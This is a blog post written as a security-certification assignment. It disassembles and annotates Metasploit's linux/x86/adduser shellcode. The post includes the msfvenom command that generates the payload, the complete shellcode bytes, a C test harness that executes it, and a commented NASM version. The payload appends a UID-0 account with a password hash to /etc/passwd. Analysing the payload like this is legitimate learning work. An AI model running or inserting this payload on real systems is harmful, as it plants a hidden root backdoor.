SLAE 5.2: linux/x86/adduser shellcode analysis

SLAE_logo2

Content

  1. Introduction
  2. Generate shellcode
  3. Compile POC and retrieve shellcode source
  4. Disassemble and analyze shellcode

1. Introduction

After looking into the meterpreter reverse shell in the last post I am going to analyze the linux/x86/adduser payload today.

2. Generate shellcode

A few things to be aware of when dissecting msf payloads:

  • the shellcodes will lack sections, thus the use of objdump will be limited. We could try forcing it to work via the following command but I decided against it:
    objdump -b binary -D -m i386 <shellcode> -M intel
  • piping the output from msfvenom to “ndisasm -u -” would produce assembly code in a weird dialect and that would confuse me.

I am going to create the raw shellcode to paste into our shellcode.c:

msfvenom -p linux/x86/adduser USER=re4son PASSWORD=w00tw00t  -a x86 --platform Linux -f c
No encoder or badchars specified, outputting raw payload
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65"
"\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";

 

Let’s pop it into our POC:

#include <stdio.h>
#include <string.h> 

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65"
"\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

3. Compile the POC and extract the shellcode source code

We know that it works so let’s jump right into it with gdb:

gdb -q msf-adduser-shellcode
Reading symbols from /root/git/slae-assignment5/msf-adduser-shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: msf-adduser-shellcode 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, 0x0804844f in main ()
(gdb) disassemble 
Dump of assembler code for function main:
   0x0804844c <+0>:	push   ebp
   0x0804844d <+1>:	mov    ebp,esp
=> 0x0804844f <+3>:	and    esp,0xfffffff0
   0x08048452 <+6>:	sub    esp,0x20
   0x08048455 <+9>:	mov    DWORD PTR [esp],0x8049700
   0x0804845c <+16>:	call   0x8048340 <strlen@plt>
   0x08048461 <+21>:	mov    DWORD PTR [esp+0x4],eax
   0x08048465 <+25>:	mov    DWORD PTR [esp],0x8048520
   0x0804846c <+32>:	call   0x8048320 <printf@plt>
   0x08048471 <+37>:	mov    DWORD PTR [esp+0x1c],0x8049700
   0x08048479 <+45>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804847d <+49>:	call   eax
   0x0804847f <+51>:	leave  
   0x08048480 <+52>:	ret    
End of assembler dump.
(gdb) break *0x0804847d
Breakpoint 2 at 0x804847d
(gdb) c
Continuing.
Shellcode Length:  40

Breakpoint 2, 0x0804847d in main ()
(gdb) stepi
0x08049700 in code ()
1: /x $eax = 0x8049700
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x08049700 <+0>:	xor    ecx,ecx
   0x08049702 <+2>:	mov    ebx,ecx
   0x08049704 <+4>:	push   0x46
   0x08049706 <+6>:	pop    eax
   0x08049707 <+7>:	int    0x80
   0x08049709 <+9>:	push   0x5
   0x0804970b <+11>:	pop    eax
   0x0804970c <+12>:	xor    ecx,ecx
   0x0804970e <+14>:	push   ecx
   0x0804970f <+15>:	push   0x64777373
   0x08049714 <+20>:	push   0x61702f2f
   0x08049719 <+25>:	push   0x6374652f
   0x0804971e <+30>:	mov    ebx,esp
   0x08049720 <+32>:	inc    ecx
   0x08049721 <+33>:	mov    ch,0x4
   0x08049723 <+35>:	int    0x80
   0x08049725 <+37>:	xchg   ebx,eax
   0x08049726 <+38>:	call   0x804974f <code+79>
   0x0804972b <+43>:	jb     0x8049792
   0x0804972d <+45>:	xor    al,0x73
   0x0804972f <+47>:	outs   dx,DWORD PTR ds:[esi]
   0x08049730 <+48>:	outs   dx,BYTE PTR ds:[esi]
   0x08049731 <+49>:	cmp    al,BYTE PTR [ecx+0x7a]
   0x08049734 <+52>:	das    
   0x08049735 <+53>:	fs
   0x08049736 <+54>:	dec    ecx
   0x08049737 <+55>:	jae    0x80497a3
   0x08049739 <+57>:	xor    al,0x70
   0x0804973b <+59>:	xor    al,0x49
   0x0804973d <+61>:	push   edx
   0x0804973e <+62>:	arpl   WORD PTR [edx],di
   0x08049740 <+64>:	xor    BYTE PTR [edx],bh
   0x08049742 <+66>:	xor    BYTE PTR [edx],bh
   0x08049744 <+68>:	cmp    ch,BYTE PTR [edi]
   0x08049746 <+70>:	cmp    ch,BYTE PTR [edi]
   0x08049748 <+72>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804974b <+75>:	das    
   0x0804974c <+76>:	jae    0x80497b6
   0x0804974e <+78>:	or     bl,BYTE PTR [ecx-0x75]
   0x08049751 <+81>:	push   ecx
   0x08049752 <+82>:	cld    
   0x08049753 <+83>:	push   0x4
   0x08049755 <+85>:	pop    eax
   0x08049756 <+86>:	int    0x80
   0x08049758 <+88>:	push   0x1
   0x0804975a <+90>:	pop    eax
   0x0804975b <+91>:	int    0x80
End of assembler dump.
(gdb)

And there is our adduser shellcode in assembly.

4. Disassemble and analyze shellcode

We have one problem though: Where is our adduser string?
I suppose we are adding a new line to /etc/passwd so we should have this line somewhere, which at least must contain the string “re4son”.
The string must be sitting in the midst of the text section and gdb has disassembled it nicely.
Now let’s find it and convert it back.
Looking at the code above, we can see a call without return:

0x08049726 <+38>:	call   0x804974f <code+79>

That looks suspiciously like a call & pop trick to get the address of our string.
Why don’t we get back to gdb and analyze the memory after that call?
The jump goes to code+79 and the string probably starts at code+43.
Let’s look at the 36 bytes in between

(gdb) x/36cb 0x0804972b
0x804972b <code+43>:	114 'r'	101 'e'	52 '4'	115 's'	111 'o'	110 'n'	58 ':'	65 'A'
0x8049733 <code+51>:	122 'z'	47 '/'	100 'd'	73 'I'	115 's'	106 'j'	52 '4'	112 'p'
0x804973b <code+59>:	52 '4'	73 'I'	82 'R'	99 'c'	58 ':'	48 '0'	58 ':'	48 '0'
0x8049743 <code+67>:	58 ':'	58 ':'	47 '/'	58 ':'	47 '/'	98 'b'	105 'i'	110 'n'
0x804974b <code+75>:	47 '/'	115 's'	104 'h'	10 '\n'

There we have it.
Let’s incorporate it into our source code.

Something seems fishy though: the jump goes to 0x804974f but our disassembled code has the following two lines:

0x0804974e <+78>:	or     bl,BYTE PTR [ecx-0x75]
0x08049751 <+81>:	push   ecx

Two bytes got lost during this conversion due to misalignment. Let’s get them back:

(gdb) x/4i 0x804974f
0x804974f <code+79>:	pop    ecx
0x8049750 <code+80>:	mov    edx,DWORD PTR [ecx-0x4]
0x8049753 <code+83>:	push   0x4
0x8049755 <code+85>:	pop    eax
(gdb)

Here we go, these two instructions make more sense than the push ecx & cld we had before.

On more quick look into the three dwords pushed onto the stack starting at address 0x0804970f:

(gdb) x/5cb 0x0804970f
0x804970f <code+15>:	104 'h'	115 's'	115 's'	119 'w'	100 'd'
(gdb) x/5cb 0x08049714
0x8049714 <code+20>:	104 'h'	47 '/'	47 '/'	112 'p'	97 'a'
(gdb) x/5cb 0x08049719
0x8049719 <code+25>:	104 'h'	47 '/'	101 'e'	116 't'	99 'c'

Awesome; that’s obviously the file we want to edit: /etc//passwd.
Now that we’ve got the proper pieces, I’m going to put it into it’s own source file for detailed analysis:

; Filename: msf-adduser.nasm
; Author: Metasploit
; Analysed by Re4son <re4son [at] whitedome.com.au>
; Purpose: Disassembly of msf linux/adduser
; for research purpose


global _start 

section .text

_start:
 ; setreuid() sets real and effective user IDs of the calling process
 ; int setreuid(uid_t ruid, uid_t euid)
 xor ecx,ecx ; zero out ecx
 mov ebx,ecx ; and ebx
 push 0x46 ; put sys_setreuid
 pop eax ; into eax
 int 0x80 ; and invoke system call


 ; open, create - open and possibly create a file or device
 ; int open(const char *pathname, int flags)
 push 0x5 ; put sys_open
 pop eax ; into eax
 xor ecx,ecx ; zero out ecx
 push ecx ; push null terminator onto stack
 push dword 0x64777373 ; push sswd
 push dword 0x61702f2f ; push //pa
 push dword 0x6374652f ; push /etc
 mov ebx,esp ; store pointer to file name in ebx
 inc ecx ; set O_WRONLY flag (01)
 mov ch,0x4 ; set O_APPEND flag (02000)
 int 0x80 ; and invoke system call


 ; write - write to a file descriptor
 ; ssize_t write(int fd, const void *buf, size_t count)
 xchg ebx,eax ; store file descriptor in ebx
 call adduser ; call/pop trick to get our db address

db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh"
 
adduser:
 pop ecx ; put the pointer to our string in ecx
 mov edx, [ecx-0x4] ; put the size in edx
 push 0x4 ; put sys_write
 pop eax ; into eax
 int 0x80 ; and invoke system call


 ; exit - terminate the calling process
 ; void _exit(int status)
 push 0x1 ; put sys_exit
 pop eax ; in eax
 int 0x80 ; so long and thanks for all the fish

That’s it. All clear as mud now.

Let’s assemble, link and run it for good measure:

slae05_03

Perfect.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwittergoogle_plusredditpinterestlinkedinmail

Leave a Reply